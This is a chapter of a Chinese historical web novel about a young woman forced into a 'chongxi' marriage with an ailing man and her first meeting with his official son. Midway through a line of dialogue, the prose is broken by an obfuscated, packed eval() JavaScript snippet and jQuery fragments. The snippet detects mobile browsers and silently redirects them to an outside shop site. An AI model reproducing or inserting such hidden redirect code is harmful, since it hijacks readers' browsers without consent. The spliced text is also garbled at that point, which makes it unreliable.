清晨，初秋，浔阳县。
沈家新宅门前的青石板上，一片红喜字被夜风吹落，半贴在湿-漉-漉的地面上。喜字的金粉被露水洇开，糊成一团暧昧不清的颜色。
一双绣着鸢鸟的白色绣花鞋从门槛内迈出来，不偏不倚，正踩在那张喜字上。鞋尖碾过，金粉沾了白缎鞋面，鞋主人浑然未觉，径直往正院去了。
两个丫鬟正在院中洒扫。一人着青，一人着绿，竹帚划过石板的沙沙声一前一后，像是谁在打拍子。
青衣丫鬟名唤阿响，是个嘴快的。她直起腰，目光追着那道白缎长裙的背影看了好一会儿，直到那身影转过回廊拐角，才啧了一声，拿手肘捅了捅身边的绿衣丫鬟。
“阿默，你瞧见没？这新夫人虽说出身破落旁支，可通身的气派，哪有半分乡野气？竟这般柔善贤淑，一-大早就去给老太君请安敬茶了。”
阿默没有抬头。她垂目看着地上那片被踩过的喜字，竹帚不紧不慢地扫过，将碎叶和灰尘拢成一堆。
阿响又说：“只可惜命苦了些。”
她压低了声音，怕被谁听去似的，凑近阿默耳边，“这般好的模样身段，却年纪轻轻地就要守活寡。我听说老爷那头，病得连话都说不利索了，日日用老参吊着，也不知还能撑多久。”
她顿了顿，又补了一句：“还遇上了那样一个不好相与的婆母。”
阿默讷讷的，也不知听没听懂。
阿响见她不搭腔，也不恼，自顾自地叹了口气，说了句真是的，我跟你说什么，又继续低头洒扫了。
老太君名唤李徽，是汝阳高门李氏的嫡女。年轻时嫁入沈家，丈夫沈书尧官至按察副使，因查淮南贪腐大案被人暗害，死在任上。
朝廷追封诰命，赐了十亩祭田、几间铺面，又恩赏了几个官家仆从供她驱使。
说不上大富大贵，却也衣食无忧。
李徽一个人将子女拉扯大。
女儿养到及笄，风风光光地嫁了出去。儿子沈慎体弱多病，她便替他娶了一房贤妻，开枝散叶，绵延香火。
沈慎膝下一儿一女，儿子叫沈知倦，女儿叫沈知遥。
如今嫡长孙沈知倦不过二十出头，已经是两榜进士。先在翰林院供职三年，近来又得新皇赏识，调入吏部，正如火如荼地要推行新政。
浔阳县的人都说，沈家祖坟上冒了青烟了，几代人的气运全聚在这一辈上，出了个麒麟贵子。
可偏偏这时候，身子骨一向不怎么好的沈慎，彻底卧床不起了。
按朝中惯例，父亲去世，儿子要罢官回乡丁忧三年。
沈知倦此时正处在推行新政的关键当口，他若一退，三年之后朝堂上是什么光景，谁也说不准。
李徽急得嘴上起了一圈燎泡。
她遍请名医，名医摇头。上香祈福，菩萨不语。请人看宅改风水，道人拿着罗盘在沈家老宅转了三圈，最后和南安寺的僧人说了同一番话。
纳新妇冲喜，祛死气，续生机。
李徽不是没犹豫过。冲喜续弦，说出去多少有些不好听。但转念一想，好歹是沈家的正室娘子，只要挑对了人，便不是丢脸的事，反倒能显出沈家门楣的气度。
随随便便一个乡野村姑是万万不成的。失了颜面事小，传出去影响孙儿的官声事大。
可门第相当的人家，又有几个愿意把二八年华的女儿嫁给一个四十岁的卧床病人当续弦？
李徽托了好几个媒人去说，媒人们回来都是一脸为难。有人家一听沈慎的年纪和病况，茶水都没喝完就走了。
有人家倒是动了心，沈家到底有个在京城做官的麒麟贵子……但一打听沈慎膝下已有嫡子嫡女，自家女儿嫁过去便是续弦填房，生了孩子也越不过前头的去，便又打了退堂鼓。
李徽千挑万选，最后选中了沈惟禾。
她姓沈，不是巧合。
沈惟禾家这一支，是当年战乱时候祖上养子传下来的，算是旁支的旁支。
这些年逢变故，家道败落了。
她父母都没了，寄住在伯父家，虽说吃喝不愁，但到底矮人一头。
都是一家人，都是为了沈家。话说到这个份上，事情很快就定了下来。
只是出了那么一点不太愉快的小插曲。
李徽靠在紫檀木太师椅上，看着眼前正恭恭敬敬给自己敬茶的新妇，脑海中浮现的却是三日前的画面。
也是在这里，也是这个位置。
沈惟禾跪在她面前，背脊挺得笔直，抬着一双被泪水浸-透的眼睛，声音发颤却一字一句说得清清楚楚。
“老太君，惟禾父母双亡，寄人篱下，不敢奢求什么好姻缘。但求您看在同为沈氏一脉的份上，收回成命。惟禾愿为沈家抄书、制药、看宅护院，做牛做马都使得。惟禾……”
她说到这里，声音终于碎了一下。
眼泪从那双漂亮的眼睛里滚落下来，顺着苍白的脸颊淌下，她浑然不觉，只是仰着脸，死死地望着李徽。
那双眼睛里的光，李徽记得很清楚。像一只被套住脚的飞鸢，拼命扑腾着翅膀，以为还能飞回天上去。
李徽端着茶盏，慢慢地呷了一口碧螺春。
她说：“我的嫡孙是麒麟贵子，正得圣恩。能保他仕途延绵，是你的福分。”
沈惟禾跪在那里，很久很久没有说话。
最后她低下头，额头抵在冰冷的青砖地面上，磕了一个无声无息的响头。
李徽收回思绪，打量着眼前的新妇。
沈惟禾今日穿了一身白缎长裙，乌黑的长发挽成简洁的髻，簪了一朵素银簪子。
眉眼温顺，举止端庄。
她微微垂首，露出半截纤细白腻的后颈，像一只被驯服了的白鸢，收拢了翅膀，规规矩矩地站在笼子里。
昨日成了亲，今日来敬茶。面上虽没有喜色，但也看不出哀戚。只是那双眼睛，李徽暗自皱眉。
那双眼睛太安静了，安静得不像一个新嫁娘。那里面笼着一潭深不见底的黑。
李徽不喜欢这双眼睛。
一个守活寡的新妇，理应是怯生生的、小心翼翼的，像被雨淋湿了的雀儿一样缩着肩膀。
沈惟禾这副端庄沉静的模样，反倒让她看了生厌。
“听说你身上有杏林的传承？”李徽开口，语气不咸不淡。
沈惟禾敛眉答话，声音清润温和：“回老太君，外祖父在时曾教过一些医理。算不得正经传承，略通皮毛罢了。”
“是个好事，好照料丈夫。”李徽点了点头，话锋一转，“只是如今你是沈家的正室夫人，往后切不可再抛头露面，行医义诊。沈家门楣高，不比你在伯父家的时候。你的一言一行，都关乎沈家的脸面，更关乎你儿知倦的官声。”
沈惟禾垂眸称是。
宽大的袖口遮住了她的双手，袖下的指尖一根根攥紧，指甲嵌进掌心，在软肉上掐出四道月牙形的白印。
李徽瞧着她那副驯顺的模样，心中反而生出一丝说不清道不明的烦躁。
这个新妇太沉得住气了，让人看不透。
看不透的东西，便要压一压。
李徽放下茶盏，盏底磕在紫檀木桌面上，发出一声脆响。她不紧不慢地开了口，语气像是在吩咐一个管家婆子。
“你门第不差，沈家的旁支也算有些根基，想必规矩都懂。我就不跟你多费口舌了。如今你是嫁了人的新妇，该当孝顺婆母，侍奉丈夫，爱护子女。”
说到这里，她顿了顿，目光在沈惟禾脸上转了一圈，才继续说下去。
“慎儿就这么一双儿女。知倦大了，又是男子，常年在外做官，用不着你操心。知遥却还年幼，你是她的母亲，要多照看着些。”
“是。”
沈惟禾答得干脆。她的声音很轻很柔，像是被风一吹就散的柳絮。
李徽又说：“沈家老宅在南郊，供奉着沈氏列祖列宗的牌位。你身为新妇，要记得侍奉先祖、打理祠堂。南安寺的香火灵验，你要常去祈福，为慎儿求寿，为知倦求前程，为沈家求平安。”
“是。”
“还有。”李徽的手指在扶手上轻轻叩了两下，“你房里的事，你自己心里要有数。慎儿的病不是一天两天的事，你是他的正室娘子，侍疾喂药、都该你亲力亲为。这是你的本分。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802459|210642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是。”
沈惟禾每答一个“是”，她低垂的眼睫就轻轻颤一下。那一排又浓又密的睫毛，像蝴蝶被雨打湿的翅膀，颤巍巍的，却始终没有飞起来。
李徽说完了，端起茶盏又喝了一口。茶水已经凉了，她皱了皱眉，将茶盏搁下。
就在这时候，外头传来一阵脚步声，紧接着，门帘被人挑起。
一线晨光从掀起的帘缝里涌进来，照在青砖地面上，拉出一道修长的人影。
沈惟禾没有回头。
她跪坐在原地，微微侧过头，只看到那人的影子落在她面前的青砖地面上，长长地拖过来，正好覆在她跪着的那块砖的正上方。
她的目光顺着那道影子一寸一寸地往上移。瞧见来人漆黑云纹官靴，月白长袍的下摆，腰间系着的青玉带扣，和袖口露出一截清瘦而骨节分明的手腕。
昨日拜堂时，她躬身与夫对拜时，也曾在晃动的红盖头下方，看到一截这样冷白瘦削的手腕。
依礼数，明媒正娶的新妇入门拜堂时，父亲卧病不起，则儿子代父行天地君亲之礼。
她昨日，与这位高高在上的麒麟贵子，在众目之下拜了堂。
沈惟禾神思有些恍惚，这时候一道声音将她的思绪拉回来。
那个声音不高不低，清清淡淡，像是深秋山涧里流过石壁的泉水，干净到让人觉得疏冷。
“祖母。”
李徽脸上露出今日第一抹真切的笑意，她朝那人招了招手，“知倦来了，快过来坐。”
“为了全礼数，这几日真是辛苦了，今儿也不多睡一会儿，说了不用，一-大早的又来给我请安。”
沈知倦走进正堂。
正堂里点着檀香，薄薄的烟雾在晨光中缭绕。
他站在烟雾里，穿着一件月白色的暗纹直裰，外罩一件墨灰色的大氅，衣料上没有多余的绣饰，只有袖口滚着一道银灰色的窄边。
他站在那里，像一只偶然落在尘世间的孤鹤。周遭的紫檀家具、描金屏风、青砖灰瓦，都被他衬得粗笨了几分。
“孙儿来向祖母辞行。”他的声音低沉温润，“吏部的文书催了两道，新政的条陈也压-在案头，不好再耽搁了。”
李徽点了点头，眼里有不舍，但更多的是骄傲。
她的孙儿是从她手里飞出去的金凤凰，浔安县的沈家注定要出阁老，出宰相。
她的儿子病得起不来床又如何，她还有这个孙子，这才是沈家真正的脊梁骨。
李徽点了点头，看了一眼还跪在地上的沈惟禾，说：“起来吧。”
“正巧，你母亲也在，你们见一见。”
沈知倦的目光这才落到沈惟禾身上。
沈惟禾正跪在那里，微微垂着头。
从他的角度看去，只能看到她乌黑的发髻和半截雪白的后颈。
晨光透过窗棂落在她身上，在她白缎长裙上画出明暗交错的格子纹路。
她的影子被拉得很长，一直延伸到他的脚边。
沈惟禾听到“母亲”这两个字，脊背微微一僵。
她站起来，朝他微微屈膝行了一礼。
低着头，只看到他衣摆下方露出的官靴鞋尖，和他影子的边缘。
“见过母亲。”沈知倦拱手回了一礼。他的声音客套而有礼，带着一种拿捏精准的距离感。
她的视线从他的袍角一路往上。
掠过银线竹叶的暗纹、青玉带扣的光泽、瞧见他矜贵如鹤不染尘霜的姿骨，最后落进他的眼睛里。
那是一双很漂亮的眼。
眼尾微微上挑，瞳仁茶褐色，深处有一点冷淡的光。带着一种浑然天成的疏离。
他生来就站在云端，所以看谁都是俯视，他自己甚至意识不到这一点。
她忽然想起三日前，她恳请老太君收回成命时，她说的那句话。
“我的嫡孙是麒麟贵子，正得圣恩，能保他仕途延绵，是你的福分。”
他是一轮高悬的明月，要无知无觉地踩着她的身骨颅头，头也不回地踏入他的煌煌大道，万里云程。
沈惟禾垂下眼帘，将那一点晃动的锐冷眸光重新藏进瞳孔深处。